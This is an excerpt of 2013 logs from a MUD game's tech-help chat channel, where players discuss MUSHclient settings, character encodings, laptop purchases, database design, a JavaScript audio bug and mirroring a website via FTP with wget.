T3/r7/2013-08-14.txt.gz:{chan ch=tech}Loreli Tech: Anyone use blackmart alpha on their android?
T3/r7/2013-08-14.txt.gz:{chan ch=tech}Arkaylis Tech: I am still new to the MUSH client and I dont know squat about scripting or programming, but is there a way to dump all my alias' to a file so I can back it up?
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Elvudia Tech: does anyone happen to know how to increase the font size in MUSHclient?
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Ruiner Tech: anyone out there with a chromecast
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Ashiya Tech: my computer crashed yesterday, and now when I try to open my mushclient it says file does not have a valid XML signature and it won't load. Any ideas why?
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Ashiya Tech: using an old backup of my mushclient works fine. But if I try to copy my old world folder it crashes again
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Ashiya Tech: what folder in mush contains the mapper database?
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Redryn Tech: main folder i think
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Tequila & Zhalt Tech: Which keymap is the one (most commonly) used here, ISO8859-1 or UTF-8?
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: ANSI
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: There's extension characters (I think Latin-1?) but they're not core
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Tequila & Zhalt Tech: huh? ANSI, surely not? ISO8859-1 (aka Latin-1) is standard in Windows these days. UTF-8 in linux and mac.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Trachx Tech: standard in EN language probably
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Ranrr Tech: That depends on locale settings.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}The hairy Hollister Tech: I think the mud itself uses Ansi
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Hehe, Latin-1 is far from standard anymore. utf-8 or even -16/-32 more than Latin-1
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Tequila & Zhalt Tech: Well, I've been using UTF for years. But I thought Windows was a bit backwards when it come to adapting to such things :P
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: And the mud is built on some oooooold code, not sure the encoding was changed with the rest of it. Possible for MXP perhaps, but I doubt it
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Ranrr Tech: Life would be simpler if we all went to unicode. Except during the transition.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Windows was backwards, but the .NET drive and attempting to compete with LAMP for software as a service has meant they are getting more into standards.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Tequila & Zhalt Tech: Hrm, it used to be ROM but I thought Lasher re-wrote most of it? I know it allows for extended keycodes to allow our umlauts etc.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Tech: The hairy Hollister writer down his next to google "what is keyMap"
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That's the non-core extension stuff, which I know isn't UTF, which is why I guessed Latin-1
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Ranrr Tech: If abe was here, he'd tell us all we are wrong.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yup
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Abelinc is a Mac-user, he's probably on Proprietary Mac Encoding Jobs-17 or some such :-P
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Tequila & Zhalt Tech: Thanks for the feedback :)
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Androidz Tech: hi how do i hide touch screen keybp
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Androidz Tech: on blowtorch
T3/r7/2013-08-15.txt.gz:{chan ch=tech}MrGee Tech: there a clear button
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Androidz Tech: does any one know pls?
T3/r7/2013-08-15.txt.gz:{chan ch=tech}MrGee Tech: see blowtorchs website
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Androidz Tech: ok thanks :-) 
T3/r7/2013-08-15.txt.gz:{chan ch=tech}MrGee Tech: there is very usefull documention
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Androidz Tech: is it www.blowtorch.com?
T3/r7/2013-08-15.txt.gz:{chan ch=tech}MrGee Tech: yes i think, i not sure google it
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Androidz Tech: ok thanks!!
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Androidz Tech: my tablet dont got appstore.. must i download it?
T3/r7/2013-08-15.txt.gz:{chan ch=tech}ElFeneri Tech: I hope you don't need appstore to download it
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Androidz Tech: wow ok
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Tymas Tech: If I want to give a friend some of my triggers, how would I do that? through mush? copy/paste to notepad..and give to him, then hwo do he implement them?
T3/r7/2013-08-15.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: There is a copy button when you open the Trigger.  Or you can use the plugin creation wizard, just MAKE SURE you unselect the button to remove the selected triggers, etc from the world file.  Also go through all the tabs make sure things aren't selected.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You can import and export via xml, but probably better to just screenshot the gui, that way he can get a feel for making his own.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Chislon Tech: I need help, I want a new computer, I think i want to go laptop, but i want it to be able to play the latest graphical and upcoming MMORPGS, like Everquest Next when it comes out, Firefall, Planetside 2, etc etc, but i also dont want to spend a huge amount of money, i am aware i could get a desktop cheaper, but in the end im thinking laptop will be best, any advice?
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Cheap, powerful, not a desktop. Pick any 2.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Tech: [Outlaw] Mendaloth is agreeing with that Captain HR Vakieh person again...
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Velian Tech: best buy shopping at 2am?
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Ranrr Tech: You won't be able to get decent graphics on a laptop.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Flach Tech: Certainly not in the same world as the word "cheap"
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Chislon Tech: well what is the least expensive one that will do waht i want?
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Flach Tech: Um, Google is your friend.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Chislon Tech: will some of the 1k to 1300 dollar models work?
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Flach Tech: Work?  Yes.  Work well?  Probably not.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Look up your games, write down the min specs. Add 20% laptop fee, because laptop CPU/GPU setups are generally underpowered compared to their desktop variants, and the min specs will be listed for desktops.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Then compare that list against electronics stores listed inventory
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Flach Tech: And then plan on buying a step up from what you come up with
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Chislon Tech: ok thank you
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I would guess the laptop equivalent to be approx 2x desktop price, if not 3x. More if you can repurpose an existing monitor/peripherals
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Zade Tech: trouble with laptops is how low is the keyboard going to last with intensive activity
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Zade Tech: long (not low)
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Ranrr Tech: You could get an external keyboard... that's what I always do with laptops.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Flach Tech: Docking station, keyboard and mouse.  Best way to use at home.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Zade Tech: what abou ram -- at least 12 GB these days
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Chislon Tech: hmmm i see
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Zade Tech: is more ram more likely on a laptop or a desktop
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Chislon Tech: do laptops come with gpu with dedicated ram
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Umbra Eutychus Tech: Expensive ones. With independent graphics.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Umbra Eutychus Tech: Otherwise they use shared video memory.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Zade Tech: the latest graphics cards - do they tun hot with a requirement for special cooling - unlikely on a laptop
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Zade Tech: run (not tun)
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Umbra Eutychus Tech: They get hot yeah, but you would think whoever designs the chassis architecture would create the best possible route for airflow and cooling as they could.. unless you work for HP.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Umbra Eutychus Tech: ASUS or MSI gaming laptops are decent.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Zade Tech: do decent gaming desktops start at $1600 
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Zade Tech: most desktops/laptops seem to be -ve pressure air-cooled fan systems which may draw in the dust through the dvd drive ?
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Chislon Tech: ok thanks
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Odir Tech: anyone know how i remove the background picture in aardwolf mud client?
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Cuddlez Tech: Anyone around with experience running junit in eclipse? I can't get mine to test the whole project anymore.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}HelperMan Hadar Tech: if i want to "Archive" stuff with php/mysql would i add a date to it for easy access/cleanup or would there be a better way?
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Regnad Tech: anyone use tintin++ my session keeps dieing and activating session gts. i cant figure out why or what session gts is.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Regnad Tech: nevermind ill just go back to tinyfugue now problems there
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Regnad Tech: no*
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Turie Tech: What would cause a key to be repeating itself and not be stuck or touched?
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Hanslanda Tech: a trigger
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Turie Tech: This is in Windows 7.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Harperon Tech: stickykeys?
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Hanslanda Tech: ah, yes.  Stickykeys.  You probably held down SHIFT too long or something at one point.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Turie Tech: I have had more than 4 different keys to spam my screen. I reboot. It clears up for a while then it starts to repeat.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Hanslanda Tech: if this is doing it independant of any particular program, try looking at your accessibility options.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Loreli Tech: I had that happen when I was using terminal on MacOSX. I have no idea what was going on. Since I installed Ubuntu I haven't had the problem. Same Macbook Pro in both cases.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Turie Tech: Where would I find those? Control Panel?
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Hanslanda Tech: yep
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Turie Tech: There is no touching of the keyboard and this happens.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Turie Tech: Sticky Keys is not checked.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Hanslanda Tech: does this happen in every application (ie, notepad, whichever app you're currently in, etc)?
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Turie Tech: Yes
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Turie Tech: Any that have text writing abilities.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Hanslanda Tech: have you visited any website or installed any unknown app that might have given you cause to assume a malware vector?
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Turie Tech: I am highly doubt it. However, I am running Malware Bytes right now.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Turie Tech: I will be letting it run a full scan to see what I can find with it.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Hanslanda Tech: is there any period of use other than when you first boot up where it doesn't happen?  Or, firstly, do you use any script that attempts to emulate a macro/keypress?
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Turie Tech: There is a period of time before it starts.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Turie Tech: I have had as much as several hours.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Turie Tech: I had an issue today where I could not use the ctrl+a, ctrl+c, and ctrl+p.
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Hanslanda Tech: have you noted any pattern about what apps were open when it started?  Did you install anything new prior to this happening?
T3/r7/2013-08-15.txt.gz:{chan ch=tech}Turie Tech: I did try to install a Texas Instruments program, but it would not work due to compatibility issues.
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Six-String Strazor Tech: Anyone use Mushclient with Wine?
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Six-String Strazor Tech: If anyone knows why my mush + wine keeps making me click on the screen every few minutes or so I am all ears.
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Doc Holliday Tech: any commandline junkies able to help me for a moment?
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Tech: as usual, just ask the question...and command-line WHAT
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Tech: dos is different than linux/unix is different than sql, is different than other cmd line stuff, etc
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Doc Holliday Tech: I really just wanted to make sure someone was active before typing up the long question :)
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Tech: don't
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Tech: even if nobody's active, the usual geeks read -h and will answer you later
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Tech: but if you don't ask, then they can't do that
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Milga Tech: what u need? i can help
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto snickers softly.
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Doc Holliday Tech: I ssh into a server, and from that terminal I'd like to ssh to another server and pull down the entire structure and files
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Doc Holliday Tech: You're right Abe that wasn't so bad
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Tech: unless you mean actually copying them vs listing them
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Milga Tech: go skype?
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Tech: You raise your eyebrow at Milga.
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Doc Holliday Tech: yes, copying from one webserver to another from the terminal - didnt want to have to pull them local then upload
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I use webmin and execute more complex ftp stuff that way
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Milga Tech: hollyday, if u want to copy info from 1 server to other - u need scp or rsync
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Tech: see if you can use rsync on the machine...
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Milga Tech: hollyday rsync is better but scp is native util
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Tech: they're both native utilities...they just might not be available on any given server
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Doc Holliday Tech: i have ftp access to the machine with the files - didn't know if scp worked that way (I dont have shell on that server)
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Milga Tech: u have only ftp access?
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Tech: you said you wanted to ssh from one server to another...well you couldn't do that without ssh access ;-)
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Doc Holliday Tech: I have shell on the server I'm moving to, I was wondering if there was a way from the terminal to grab the data from the server with ftp access from commandline
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Milga Tech: u can mount ftp as patition
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Milga Tech: at server u moving to
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Tech: see if "curl" exists in the shell
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Milga Tech: mounting ftp its easy way
T3/r7/2013-08-16.txt.gz:{chan ch=tech}ElFeneri Tech: can't you just tar it and copy the file?
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Milga Tech: he havent got ssh to "from" server
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Tech: quickest way is likely wget -m ftp://username:passwordp.of.old.host
T3/r7/2013-08-16.txt.gz:{chan ch=tech}ElFeneri Tech: ok?
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Tech: quickest way is likely wget -m ftp://username:password@ip.of.old.host
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Doc Holliday Tech: thanks Abe will give that a try
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Tech: heh, forget to double @
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Doc Holliday Tech: Hey by the way I have another question, can anyone answer it too *snicker
T3/r7/2013-08-16.txt.gz:{chan ch=tech}ElFeneri Tech: no idea
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Tech: no, you've used your allotment
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Doc Holliday Tech: I was kidding :)
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Tech: Cain killd Abelinc hangs the "Closed" sign
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Doc Holliday Tech: didnt think about using wget to pull it via ftp - appreciate it, looks like transfer is proceeding
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Tech: yeah, the -m is "mirror"
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Tech: so you're creating a mirror site of the other one
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Doc Holliday Tech: which is why I vote Abe for president
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Tech: You snicker softly.
T3/r7/2013-08-16.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: secconded
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Milga Tech: so cute ^^
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Doc Holliday Tech: You aren't so bad once you get past the quickly irritated exterior
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Tech: I've already been elected twice, so FDR ruined it for me
T3/r7/2013-08-16.txt.gz:{chan ch=tech}ElFeneri Tech: it isn't an encrypted transfer though unless you have built it with openssl. Hope it isn't sensitive data you are transferring.
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Doc Holliday Tech: nothing sensitive at all - just a non-profit website lol
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Tech: brusk...I don't get irritated, I just always sound it ;-)
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Doc Holliday Tech: you would think people would be smart enough to just ask questions since that's been the process for years - some people!
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Tech: You rapidly nod twice at Doc Holliday, in complete agreement.
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Tech: heh, I think I've even seen you advice people to do that ;-)
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Tech: advise*
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Doc Holliday Tech: but if anyone else is working with non-profits, dreamhost offers free hosting of their highest plan
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Doc Holliday Tech: but it's different when it's me
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Tech: we self-hosted at the library system
T3/r7/2013-08-16.txt.gz:{chan ch=tech}HelperMan Hadar Tech: if i wanted to replace the cord that my laptop plug, plugs into that goes to the mobo whats that one called?
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Sepulchure Tech: er, so I did something and now I can't see the top part of my screen on MUSH. Any idea how to fix this? It looks like it's on some form of full screen
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Tech: hadar: if I'm reading you right, it's the part that contains the brick, it's just a laptop power supply
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Tech: sepulchure: in the Windows task bar at the bottom, right-click MUSHclient and select "move", but do NOT touch the mouse after that...now use the down arrow key and the whole window should move
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Tech: once you can see/grab the titlebar, you can move/resize as normal
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Tigernuts Tech: anyone ever heard of a condition, bug, or problem that would cause the master volume on an xp install to occasionally, smoothly reduce to 0?
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Thunderous Norton Tech: sticky volume key ?
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Cuddlez Tech: Had that happen once.. For me it kept thing it was getting signals from the volume down button.
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Alcor Tech: heard yes, but  can't remember the solution that guy found :/
T3/r7/2013-08-16.txt.gz:{chan ch=tech}HelperMan Hadar Tech: anyone have a suggestion on how i can handle past data in a mysql DB? i want to save data indefinitely and be able to pull it up at a future time
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Hanslanda Tech: isn't that what columns and rows are for?
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Hanslanda Tech: or do you mean you want to enact something like an undo/redo for whatever changes you made to a particular cell?
T3/r7/2013-08-16.txt.gz:{chan ch=tech}HelperMan Hadar Tech: like its for a schedueling website im working on for fun for my work, i want to add a way to pull up the past ones you have done, so you can modify/print a new version, which should not be that hard to do, but im trying to decide how to best save the data in the DB
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Hanslanda Tech: are there any parameter limits on schedules or will they be open-ended (ie, no max number of positions)?
T3/r7/2013-08-16.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i have it set up at 15 max things, you can see a working version at aardwolfbootcamp.com/work
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Hanslanda Tech: the easy (but not the most efficient) way would be one table with 15 + N columns, where N is the number of columns you need for other info relevant to that person (name, contact info, etc)
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Hanslanda Tech: however, that can lead to duplication and inaccuracies over the editing life of the db.
T3/r7/2013-08-16.txt.gz:{chan ch=tech}HelperMan Hadar Tech: the first way is how i have it set up at the moment, i was thinking about calling it back up with the first day of the week, and the persons name
T3/r7/2013-08-16.txt.gz:{chan ch=tech}HelperMan Hadar Tech: was not sure how effective that would be once i get 1000s of records
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Hanslanda Tech: you will be better served, I think, with a relational approach.  All that means, really, is that you create additional tables to only store pertinent info once and avoid duplication.  If you have a user named "Ted", for example, you wouldn't ever want to have to input his name more than once.
T3/r7/2013-08-16.txt.gz:{chan ch=tech}HelperMan Hadar Tech: do you know any articles i can read on saving the info that way? 
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Hanslanda Tech: I don't have the url handy, but if you search for db tutorials you should find plenty.
T3/r7/2013-08-16.txt.gz:{chan ch=tech}HelperMan Hadar Tech: the version that is going to save the files is going to have a login with it already, so i can probably save it to the userfiles
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Daesilme Tech: Database Normalization should also give you some good information.
T3/r7/2013-08-16.txt.gz:{chan ch=tech}HelperMan Hadar Tech: would probably be better at doing this once i take my classes in school, but meh i like self learning
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Hanslanda Tech: may want to check out w3schools.com to see if they mention anything about relational tables or db design.  I know they cover the SQL language, but I don't recall if they do anything else about databases in general.
T3/r7/2013-08-16.txt.gz:{chan ch=tech}HelperMan Hadar Tech: even for boots website, i have it seperated into different tables, but some of the tables have a lot of data, some dont
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Tech: Daesilme nods at HelperMan Hadar.
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Daesilme Tech: Getting a grasp of database normalization and at least 3NF (Third Normal Form) will definitely get you a head start on classes.
T3/r7/2013-08-16.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i use some normalization for boots website (For certain things), did not know what it was called though
T3/r7/2013-08-16.txt.gz:{chan ch=tech}Daesilme Tech: Yeah, a lot of it (to a point) is really common sense, eliminate duplication to prevent issues.
T3/r7/2013-08-16.txt.gz:{chan ch=tech}HelperMan Hadar Tech: thanks for the info
T3/r7/2013-08-16.txt.gz:{chan ch=tech}HelperMan Hadar Tech: if i wanted to assign people usernames based off of their name, like firlast# if i wanted the # to go in order i would have to query for people with the same name before i assign the number right?
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Apocolus Tech: ask a question about mushclient , why it always display "cant conected", when i creat a new world with "ip address" configure?
T3/r7/2013-08-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: any js programmers free to help out? it takes max ten minutes or smthing.
T3/r7/2013-08-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: hm. that 10 is waiting till the thing goes nuts..
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Wasn't it you who was told to just ask your question yesterday? Getting some major deja vu here
T3/r7/2013-08-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: well, the problem is that i cant figure out what goes wrong with my app. it takes 10 minutes to crash. i don't know how to track that problem
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Report, log, inspect, repeat
T3/r7/2013-08-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: it doesnt give any errors. it does it's thing but will eventually hang..
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: And? Errors can exist without causing thrown exceptions.
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I assume you are familiar with the idea of a test suite?
T3/r7/2013-08-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: absolutely not
T3/r7/2013-08-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i'll never write a line of code after this:)
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You have variables in your code, I assume?
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: And those variables have sets of values they are supposed to hold, and sets they are not supposed to hold?
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The simplest test suite is just a whoooooole bunch of alerts or print statements embedded in your code, that tell you when a variable has a value it isn't supposed to. Then, you track down what is causing that problem
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Turie Tech: lol....I am getting virus threats from Google Chrome.
T3/r7/2013-08-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: hm.. yep there are plenty but i suspect something else. it runs, until it slows down and stalls
T3/r7/2013-08-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: it runs perfect for 10 minutes, then the hickups start
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Ranrr Tech: Put some printf (or whatever in js) statements so you can trace where the code is going.
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You suspect something else? Your program consists of variables and code that acts on those variables - one or both is in error
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Unless you have a hardware fault, but Occam says check the code
T3/r7/2013-08-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i have oscillators that are created, killed and recreated. i think the old ones are not cleaned up but.. they ARE
T3/r7/2013-08-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i mean - there is a command that shuts them all down each cycle
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Where are they being stored? Do you have the ability to print a report on which ones still exist?
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: And by print I suppose in javascript it would be easiest to create a message box, unless you are comfortable messing with the DOM to add some text data
T3/r7/2013-08-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: thats the thing - there shouldn't be any left - they are killed and another oscillators have the same name
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Ranrr Tech: To me it sounds like the problem is that you are trying to write a complex program in javascript :P
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: So if we assume dangling oscillators are the issue (when you see assume, that probably means you are wrong, but lets roll with it) how can you check the kill worked? Is there a return variable you can compare against?
T3/r7/2013-08-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: nope. it is web audio api.
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Ranrr Tech: That sounds complex enough that I would not want to do it in js.
T3/r7/2013-08-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: hm. there is not so many commands with that api. no official tutorials, no samish problems
T3/r7/2013-08-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i don't know how to check if the oscillator is really dead
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That is something of an issue - a big problem with new (esp self taught) programmers is they burn themselves out trying to get in over their heads. And honestly even with the programming background I have I would balk at keeping javascript stable more than 30 seconds.
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If you are determined to get this working, though, kudos - I suggest digging in as deeply as you can into the WebAudio api in detail
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Specifically look at the return values for the functions you are using, and whether you can test based on any of them to ensure that what you wanted to happen, actually did happen
T3/r7/2013-08-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i guess. im pretty sure that nothing else goes wrong but the soundmachines slowly pile up secretly
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If you don't know how to check, jumping to conclusions like that is counterproductive
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You could spend hours trying to solve a problem that doesn't exist
T3/r7/2013-08-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: heh, there's another person with the same issue..
T3/r7/2013-08-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i mean he's got the same symptoms
